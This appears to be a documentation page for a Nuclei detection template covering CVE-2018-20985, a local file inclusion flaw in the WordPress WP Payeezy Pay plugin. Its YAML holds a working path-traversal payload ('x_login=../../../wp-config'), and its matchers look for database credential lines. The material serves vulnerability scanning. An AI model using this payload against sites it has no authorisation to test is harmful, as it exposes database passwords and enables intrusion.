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WordPress Payeezy Pay <=2.97 - Local File Inclusion

ID: CVE-2018-20985

Severity: critical

Author: daffainfo

Tags: cve,cve2018,wordpress,lfi,plugin,payeezy

Description

Section titled “Description”

WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.

YAML Source

Section titled “YAML Source”
id: CVE-2018-20985


info:
  name: WordPress Payeezy Pay <=2.97 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
  impact: |
    The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
  remediation: |
    Update to the latest version of WordPress Payeezy Pay plugin.
  reference:
    - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
    - https://wordpress.org/plugins/wp-payeezy-pay/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20985
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20985
    cwe-id: CWE-20
    epss-score: 0.01061
    epss-percentile: 0.84101
    cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: payeezy
    product: wp_payeezy_pay
    framework: wordpress
  tags: cve,cve2018,wordpress,lfi,plugin,payeezy


http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"


    body: "x_login=../../../wp-config"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The base configuration for WordPress"
          - "define( 'DB_NAME',"
          - "define( 'DB_PASSWORD',"
        condition: and


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-20985.yaml"

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